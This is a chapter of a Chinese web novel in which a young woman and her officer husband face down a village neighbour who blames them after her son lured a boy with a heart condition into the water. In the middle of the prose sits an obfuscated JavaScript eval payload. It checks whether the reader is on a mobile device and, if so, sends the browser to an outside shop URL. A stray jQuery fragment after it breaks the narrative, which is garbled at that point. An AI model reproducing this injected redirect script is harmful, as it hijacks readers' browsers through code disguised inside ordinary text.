何母几步追出,态度愠怒地骂道:“这死妮子,真是心野了,娘家门都能认错。”

    不怪她不多想,这个时间节点,何书妍带着傅野和傅瑶,新组成的一家三口到这里,除了回门还能干嘛?

    何父双手背后,没应何母的话,探头往隔壁方向看了几眼。

    “哎哟!大家都来评评理啊!”

    突兀的一声嚎叫差点把他耳朵震聋。

    “大家都来看啊,部队同志欺负老百姓啦!”

    隔壁门口,王桂香拉着儿子柱子跑出来,拍手跳脚,左顾右盼,几嗓子把附近没上工的人都引了过来。

    “王桂香,要死啊!大早上就听你嚎。”

    有人和何父一样被突然的高声尖叫吓到,骂骂咧咧地过来看看搞什么名堂。

    王桂香装模做样抹一把泪,“乡亲们帮我跟傅团长求求情,我家柱子昨天就跟他家傅远说了几句话,谁知道那傅远突然犯病了,傅团长现在非要把这事赖在我家柱子头上。

    是,我一个妇道人家,啥也不懂,但我也不信两句话就能把人说死!

    傅团长,你不能仗着自己有部队撑腰,就欺负我们无权无势的老百姓啊!”

    这王桂香在村里也属嘴皮子利索那一类,平时一些脸皮薄的姑娘小媳妇没少被她奚落,即使面对傅野这种高大的成年男性,也丝毫不惧。

    她有个亲戚也在部队里当兵,知道部队里对于仗势欺人的情况,管理非常严格。

    所以,上来先强调傅野的身份,再给扣个欺负老百姓的帽子,赌傅野不敢轻举妄动。

    这就是这年头农村里朴实的舆论战。

    那些看热闹的乡亲们,你看看我我看看你,三两交好的凑在一起窃窃私语。

    王桂香抹泪的间隙悄悄瞥一眼四周,见来的人不少,嚎得更大声,势必要先发制人,不让傅野他们有机会提要求。

    傅野一张俊脸僵硬得不行,面色沉沉,黑如锅底。

    他知道有些大爷大妈惯会胡搅蛮缠,但王桂香这样二话不说,上来就急头白脸给军人扣帽子的,还是少见。

    他在军队里,擅长的是发布作战命令,而不是打口水战,一时真是有理说不清。

    按了按吵得发痛的太阳穴,知道不能任由她继续抹黑,于是沉声警告,“同志,你说话注意,别说些无中生有的东西。”

    王桂香听他搭腔,不仅没收敛,反而一叉腰,更加蛮横。

    “哟~傅团长好大的官威啊,还不让人说话啦!

    老娘在槐树村这么多年,想说啥就说啥,谁敢管老娘?

    你今天到老娘面前耍威风,算是挑错人了,老娘可不是软柿子!”

    柱子也跟着他妈有样学样,叉腰叫道:“就是!有本事跟敌人面前耍威风去,跟咱们老百姓耍狠,算什么英雄?”

    说完,还给了何书妍一个得意的眼神。

    像是在说:当着这么多人面,军人又不能欺负老百姓,我看你拿我咋办!

    贱得何书妍想当场抽他两个嘴巴子。

    眼看不知内情的乡亲们被王桂香带着走,何书妍明白,王桂香说的越多,越牵动大家情绪,他们就越被动。

    “吵死啦!”

    她忽然捂住耳朵大叫了一声,哭得正起劲的王桂香被突然的动静吓一跳,哭诉的话一下哽在嗓子眼,憋得打了个哭嗝。

    这嗝一起来,就断断续续打个没完,倒是给了何书妍输出的时机。

    她鄙视地看着王桂香,开始指指点点:“傅团长官威再大,也比不得你儿子,敢谋害人命啊!”

    王桂香没想到隔壁这八棍子打不出个屁的乖乖女,今天跟吃枪药似得,扣屎盆子比她还狠。

    谋害人命这么大口锅,她哪敢认,怒瞪着眼,边打嗝边澄清,“嗝、你瞎说、嗝、什么!我儿哪有、嗝、害人!童言无忌!”

    柱子也抻着脖子:“就是!别给我泼脏水!”

    何书妍才不管他们说啥,吵架这种事,就要抓住所有机会输出,认真听对方的话,一旦被绕进他们的逻辑里就完蛋了。

    再说她嗓门没王桂香大,王桂香说话的时候她都插不上嘴。

    好不容易等她说不了了,自己得赶紧多说点。

    她先指柱子,“你敢不敢对天发誓,说你跟傅远发病没关系,如果说谎,出门就被石头砸死?”

    柱子眼神躲闪,支支吾吾,“我、我……”

    这年头农村人多少还有些迷信,他做贼心虚,何书妍让他拿自己的命发毒誓,他肯定不敢。

    “你敢咒我儿子!”

    王桂香跳着脚要扑过来,巴掌被傅野快准狠地一把攥住,他语气沉郁:“当着我的面,就想动手?”

    也不掂量掂量自己几斤几两。

    放手时,他手腕向前一推,没用多大劲,王桂香却打个趔趄,差点摔跤。

    不知傅野控住人用了多大力气,她满嘴骂人的话都没心思说了,只一个劲捂着手“哎哟哎哟”地叫。

    何书妍抓住时机冲她开火。

    “刚才没说你,你儿子不敢发誓,你敢吗?”

    王桂香更不敢,她比她儿子还迷信,又惜命。

    见他们认怂,何书妍心情大好,指着她,“不敢?不敢就对了!因为你儿子分明就是又蠢又坏,故意害人。

    村里谁不知道傅远有心脏病,我都拦着不让他下水,你儿子还要刺激他让他下去,不是故意害人是什么?”

    “你胡说!嗝、都是、嗝、你编的!”

    “我编啥?你儿子什么德行,都是乡里乡亲,哪个不清楚?

    你儿子非要招惹傅远下水,见他发病后居然只想着跑,不打算救人!要不是我在场,傅远就被你儿子害得淹死在水里了。现在,你跟我说,他没害人?”

    “那又咋了?”王桂香冲到何书妍跟前,怒视着她,“那不是没淹死,没淹死咋能算杀人?”

    这话一出,围观的好几个人都摇了摇头,心说这话实在太过分。

    傅野再也按捺不住,上前左手一挥,一阵拳风袭上王桂芳的胖脸。

    关键时刻,早有防备的何书妍一把拉住。

    感受到他肌肉的紧绷,她轻拍了拍他的手以示安抚,凑近小声耳语道:“别着急,你真要把人揍了,咱就不占理了,等回部队要挨罚,太不划算。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939933|213878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    少女的声音比先前质问王桂香时软和许多,带着安抚的意味,傅野方才被撩起的怒火竟奇迹般平复些许。

    他垂眸,瞥她一眼,眼中多了丝异样情绪,生生止住手上的动作,“嗯”了一声,重重吐出一口浊气“你说得对。”

    但就这样放任王桂香胡说八道,他实在忍不了。

    何书妍唇角微弯,“接下来看我的就行。”

    王桂芳吓懵了,那一拳虽没打到脸上,但傅野那股要她命的气势把她吓得够呛,脑子发懵,半天回不过神。

    傅瑶拉着何书妍的手心,因为紧张,有些出汗。

    何父何母站在旁边听了一会儿,大概知道发生了什么,心里惊涛骇浪。

    待见到自家没脾气的闺女居然能跟王桂香吵个有来有回,更是满脸不可思议。

    何书妍完全没注意到便宜爹妈正在看自己,她酝酿好情绪,开始了她的表演。

    只见先前还咄咄逼人的姑娘愣在原地,似乎对王桂香下意识吐出的那句话无比震惊,不可置信。

    随后,她眼角湿润,唇边却泛起一丝讽刺的笑意。

    “好可笑,部队的士兵每天从早练到晚,执行危险任务,保护的居然是你这样的人。

    用命保护老百姓,结果自己儿子差点被人害死,咱们国家可一向提倡军民一心,人民群众咋可能做出这种忘恩负义的事情来呢?我不信!”

    一句“不信”被她说的振振有词,似乎真被王桂香的话狠狠伤到了。

    明明享受着军人血泪换来的安宁,却反过来用身份给他们上道德枷锁?

    王桂香不是喜欢给别人扣帽子吗?

    那她今天就看好了,帽子是怎么扣到自己头上的!

    有些村民听得点点头,“王桂香也是,咋能这样说话嘛?村里哪个娃不是家里的宝贝疙瘩,柱子要真忽悠人下水还见死不救,也怪不得傅远爹妈受不了。”

    “要是我家呆娃遇上这事儿,谁敢弄他,我先偷偷把谁腿打断!”

    “军队是保护咱老百姓的,咱不能欺负军人的后代啊。这王桂香不带着柱子赔礼道歉,咋还这么理直气壮?”

    眼见自己喊出来的人,却没有一个向着自己,王桂香急得眼珠子都要冒火。

    何书妍盯着她,唇角的弧度,不怀好意。

    “不,人民才不会说出这种话。”她怀疑的目光投到王桂香脸上,“只有搞分裂的坏分子,才会这样,婶儿……”

    她真是语不惊人死不休,傅野听出她完全是在鬼扯,但没阻止,甚至唇角松动些许。

    王桂香一个哆嗦,跌坐在地,目露茫然,随后拍腿大哭。

    “好你个小贱人,啥罪名都往老娘头上安,老娘嫁到槐树村十几年,孩子都这么大,你竟然怀疑我、我……”

    后面的话她都不敢说出来,她还记得前些年抓迪特分子,都是如何处理的。

    要吃枪子儿的!

    哭着哭着,她目光在人群中搜寻到两个鬼鬼祟祟的人。

    王桂香一骨碌从地上爬起,拉过一旁看戏的何父何母,“老邻居啊,你看看你们养的好闺女,这是把我当樱花人整啊!你们还不管管!”